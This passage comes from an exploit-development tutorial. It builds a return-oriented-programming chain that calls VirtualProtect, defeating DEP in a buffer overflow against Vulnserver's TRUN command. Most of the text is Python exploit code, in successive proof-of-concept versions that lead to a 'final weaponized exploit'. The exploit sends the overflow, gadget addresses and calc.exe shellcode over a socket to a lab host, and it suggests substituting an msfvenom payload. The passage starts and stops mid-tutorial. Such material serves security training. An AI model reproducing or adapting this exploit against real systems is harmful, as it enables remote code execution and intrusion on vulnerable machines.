lpAddressparameter placeholder - EAX: location of shellcode (NOPS in front of shellcode)
Essentially, from here - we just want to change what the memory addresses in ECX and EDX point to. Right now, they contain memory addresses - but they are not pointers to anything.
With a mov dword ptr ds:[ecx], eax instruction we could accomplish what we need. What mov dword ptr ds:[ecx], eax will do, is take the DWORD value (size of an x86 register) ECX is currently pointing to (which is the return parameter) and change that value, to make that DWORD in ECX (the address of return) point to EAX’s value (the shellcode address).
To clarify - here we are not making ECX point to EAX. We are making the return address point to the address of the shellcode. That way on the stack, whenever the memory address of return is anywhere, it will automatically be referenced (pointed to) by the shellcode address.
We also need to do the same with EDX. EDX contains the parameter placeholder for lpAddress at the moment. This also needs to point to our shellcode, which is contained in EAX. This means an instruction of mov dword ptr ds:[edx], eax is needed. It will do the same thing mentioned above, but it will use EDX instead of ECX.
Here are two ROP gadgets to accomplish this:
0x6ff63bdb: mov dword [ecx], eax ; pop ebp ; ret ; msvcrt.dll
0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; kernel32.dll
As you can see, there are a few pop instructions that need to be accounted for. We will add some padding to the updated POC, found below, to compensate:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
# Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
# (no pointers have been created yet)
rop2 = struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
# Move ECX into EDX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
# (no pointers have been created yet. Just preparation)
# Now ECX contains the address of the VirtualProtect return address
# Now EDX (after the inc edx instructions), contains the address of the VirtualProtect lpAddress location
rop2 += struct.pack ('<L', 0x6ffb6162) # 0x6ffb6162: mov edx, ecx ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x50505050) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
# Increase EAX, which contains old ESP, to equal around the address of shellcode
# Determine how far shellcode is away, and add that difference into EAX, because
# EAX is being used for calculations
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
# Replace current VirtualProtect return address pointer (the placeholder) with pointer to shellcode location
rop2 += struct.pack ('<L', 0x6ff63bdb) # 0x6ff63bdb mov dword [ecx], eax ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Replace VirtualProtect lpAddress placeholder with pointer to shellcode location
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the last ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the last ROP gadget
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
A look at the disassembly window as we have approached the first mov gadget:
A look at the stack before the gadget execution:
Look at that! The memory address containing the return parameter (filled with 0x4c4c4c4c originally) placeholder was successfully manipulated to point to the shellcode area!:
The next ROP gadget of mov dword ptr ds:[edx], eax successfully updates the lpAddress parameter, also!:
Awesome. We are halfway there!
One thing you may have noticed from the mov dword ptr ds:[edx], eax ROP gadget is the ret instruction. Instead of a normal return, the gadget had a ret 0x000C instruction.
The number that comes after ret refers to the number of bytes that should be removed from the stack. C, in decimal, is 12. 12 bytes would refer to three 4-byte values in x86 (Each 32-bit DWORD memory address contains 4 bytes. 4 bytes * 3 values = 12 total). These types of returns are used to “clean up” items on the stack, by removing items. Essentially, this just removes the next 3 memory addresses after the ret is executed.
In any case - just as pop, we will have to add some padding to compensate. As mentioned above, a ret 0x000C will remove three memory addresses off of the stack. First, the return instruction takes the current stack pointer at the time of the ret 0x000C instruction (which would be the next ROP gadget in the chain) and loads it into EIP. EIP then executes that address as normally. That is why no padding is needed at that point. The 0x000C portion of the return from the now previous ROP gadget kicks in and takes the next three memory addresses removed off the stack. This is the reason why padding for ret NUM instructions are implemented in the NEXT ROP gadget instead of directly below, like pop padding.
This will be reflected and explained a bit better in the comments of the code for the updated POC that will include the size and flNewProtect parameters. In the meantime, let’s figure out what to do about the last two parameters we have not calculated.
Almost Home
Now all we have left to do is get the size parameter onto the stack (while compensating for the ret 0x000C instruction in the last ROP gadget).
Let’s make the size parameter about 300 hex bytes. This will easily be enough room for a useful piece of shellcode. Here, all we are going to do is spawn calc.exe, so for now 300 will do. The flNewProtect parameter should contain a value of 0x40, which gives the memory page read, write, and execute permissions.
At a high level, we will do exactly what we did last time with the return and lpAddress parameters:
- Zero out a register for calculations
- Insert
0x300into that register - Make the current
sizeparameter placeholder point to this newly calculated value
Repeat.
- Zero out a register for calculations
- Insert
0x40into that register - Make the current
flNewProtectparameter placeholder point to this newly calculated value.
The first step is to find a gadget that will “zero out” a register. EAX is always a great place to do calculations, so here is a useful ROP gadget:
0x41ad61cc: xor eax, eax ; ret ; WS2_32.dll
Remember, we now have to add padding for the last gadget’s ret 0x000C instruction. This will take out the next three lines of addresses - so we insert three lines of padding:
0x41414141
0x41414141
0x41414141
Then, we need to find a gadget to get 300 into EAX. We have already found a gadget from one of the previous gadgets! We will reuse this:
0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; msvcrt.dll
We need to repeat that three times (100 * 3 = 300). Remember, under each add eax, 0x00000100 gadget, to add a line of padding to compensate for the pop ebp instruction.
The last step is the pointer.
Right now, EDX (the register itself) still holds a value that is equal to the lpAddress parameter placeholder. We will increase EDX by four bytes - so it reaches the size parameter placeholder. We will also reuse an existing ROP gadget:
0x77f226d5: inc edx ; ret ; ntdll.dll
Now, we repeat what we did earlier and create a pointer from the DWORD within EDX (the size parameter placeholder) to the value in EAX (the correct size parameter value), reusing a previous ROP gadget:
0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; kernel32.dll
Again, that pesky ret 0x000C is present again. Make sure to keep a note of that. Also note the two pop instructions. Add padding to compensate there as well.
Since the process is the exact same, we will go ahead and knock out the flNewProtect parameter. Start by “zeroing out” EAX with an already found ROP gadget:
0x41ad61cc: xor eax, eax ; ret ; WS2_32.dll
Again - we have to add padding for the last gadget’s ret 0x000C instruction. Three addresses will be removed, so three lines of padding are needed:
0x41414141
0x41414141
0x41414141
Next we need the value of 0x40 in EAX. I could not find any viable pointers through any of the ROP gadgets I enumerated to add 0x40 directly. So instead, in typical ROP fashion, I had to make-do with what I had.
I added A LOT of add eax, 0x02 instructions. Here is the ROP gadget used:
0x77bd6b18: add eax, 0x02 ; ret ; RPCRT4.dll
Again, EDX is now pointed to the size parameter placeholder. Using EDX again, increment by four - to place the location of the flNewProtect placeholder parameter in EDX:
0x77f226d5: inc edx ; ret ; ntdll.dll
Last but not least, create a pointer from the DWORD referenced by EDX (the flNewProtect parameter) to EAX (where the value of flNewPRotect resides:
0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; kernel32.dll
Updated POC:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
# Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
# (no pointers have been created yet)
rop2 = struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
# Move ECX into EDX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
# (no pointers have been created yet. Just preparation)
# Now ECX contains the address of the VirtualProtect return address
# Now EDX (after the inc edx instructions), contains the address of the VirtualProtect lpAddress location
rop2 += struct.pack ('<L', 0x6ffb6162) # 0x6ffb6162: mov edx, ecx ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x50505050) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
# Increase EAX, which contains old ESP, to equal around the address of shellcode
# Determine how far shellcode is away, and add that difference into EAX, because
# EAX is being used for calculations
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
# Replace current VirtualProtect return address pointer (the placeholder) with pointer to shellcode location
rop2 += struct.pack ('<L', 0x6ff63bdb) # 0x6ff63bdb mov dword [ecx], eax ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Replace VirtualProtect lpAddress placeholder with pointer to shellcode location
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the last ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the last ROP gadget
# Preparing the VirtualProtect size parameter (third parameter)
# Changing EAX to equal the third parameter, size (0x300).
# Increase EDX 4 bytes (to reach the VirtualProtect size parameter placeholder.)
# Remember, EDX currently is located at the VirtualProtect lpAddress placeholder.
# The size parameter is located 4 bytes after the lpAddress parameter
# Lastly, point EAX to new EDX
rop2 += struct.pack ('<L', 0x41ad61cc) # 0x41ad61cc: xor eax, eax ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the lpAddress ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the lpAddress ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the lpAddress ROP gadget
rop2 += struct.pack ('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP chain
rop2 += struct.pack ('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP chain
rop2 += struct.pack ('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP chain
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the above ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Preparing the VirtualProtect flNewProtect parameter (fourth parameter)
# Changing EAX to equal the fourth parameter, flNewProtect (0x40)
# Increase EDX 4 bytes (to reach the VirtualProtect flNewProtect placeholder.)
# Remember, EDX currently is located at the VirtualProtect size placeholder.
# The flNewProtect parameter is located 4 bytes after the size parameter.
# Lastly, point EAX to the new EDX
rop2 += struct.pack ('<L', 0x41ad61cc) # 0x41ad61cc: xor eax, eax ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the size ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the size ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the size ROP gadget
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the above ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
EAX get “zeroed out”:
EAX now contains the value of what we would like the size parameter to be:
The memory address of the size parameter now points to the value of EAX, which is 0x300!:
It is time now to calculate the flNewProtect parameter.
0x40 is the intended value here. It is placed into EAX:
Then, EDX is increased by four and the DWORD within EDX (the flNewProtect placeholder) it manipulated to point to the value of EAX - which is 0x40! All of our parameters have successfully been added to the stack!:
All that is left now, is we need to jump back to the VirtualProtect call! but how will we do this?!
Remember very early in this tutorial, when we saved the old stack pointer into ECX? Then, we performed some calculations on ECX to increase it to equal the first “parameter”, the return address? Recall that the return address is four bytes greater than the place where VirtualProtect() is called. This means if we can decrement ECX by four bytes, it would contain the address of the call to VirtualProtect().
However, in assembly, one of the best registers to make calculations to is EAX. Since we are done with the parameters, we will move the value of ECX into EAX. We will then decrement EAX by four bytes. Then, we will exchange the EAX register (which contains the call to VirtualProtect() with ESP). At this point, the VirtualProtect() address will be in ESP. Since the exchange instruction will be apart of a ROP gadget, the ret at the end of the gadget will load new ESP (the VirtualProtect() address) into EIP - and thus executing the call to VirtualProtect() with all of the correct parameters on the stack!
There is one problem though. In the very beginning, we gave the arguments for return and lpAddress. These should contain the address of the shellcode, or the NOPS right before the shellcode. We only gave a 100-byte buffer between those parameters and our shellcode. We have added a lot of ROP chains since then, thus our shellcode is no longer located 100 bytes from the VirtualProtect() parameters.
There is a simple solution to this: we will make the address of return and lpAddress 100 bytes greater.
This will be changed at this part of the POC:
---
# Increase EAX, which contains old ESP, to equal around the address of shellcode
# Determine how far shellcode is away, and add that difference into EAX, because
# EAX is being used for calculations
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
---
We will update it to the following, to make it 100 bytes greater, and land around our shellcode:
---
# Increase EAX, which contains old ESP, to equal around the address of shellcode
# Determine how far shellcode is away, and add that difference into EAX, because
# EAX is being used for calculations
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget---
---
ROP gadgets for decrementing ECX, moving ECX into EAX, and exchanging EAX with ESP:
0x77e4a5e6: mov eax, ecx ; ret ; kernel32.dll
0x41ac863b: dec eax ; dec eax ; ret ; WS2_32.dll
0x77d6fa6a: xchg eax, esp ; ret ; ntdll.dll
After all of the changes have been made, this is the final weaponized exploit has been created:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
# Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
# (no pointers have been created yet)
rop2 = struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
# Move ECX into EDX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
# (no pointers have been created yet. Just preparation)
# Now ECX contains the address of the VirtualProtect return address
# Now EDX (after the inc edx instructions), contains the address of the VirtualProtect lpAddress location
rop2 += struct.pack ('<L', 0x6ffb6162) # 0x6ffb6162: mov edx, ecx ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x50505050) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
# Increase EAX, which contains old ESP, to equal around the address of shellcode
# Determine how far shellcode is away, and add that difference into EAX, because
# EAX is being used for calculations
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
# Replace current VirtualProtect return address pointer (the placeholder) with pointer to shellcode location
rop2 += struct.pack ('<L', 0x6ff63bdb) # 0x6ff63bdb mov dword [ecx], eax ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Replace VirtualProtect lpAddress placeholder with pointer to shellcode location
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the last ROP gadget
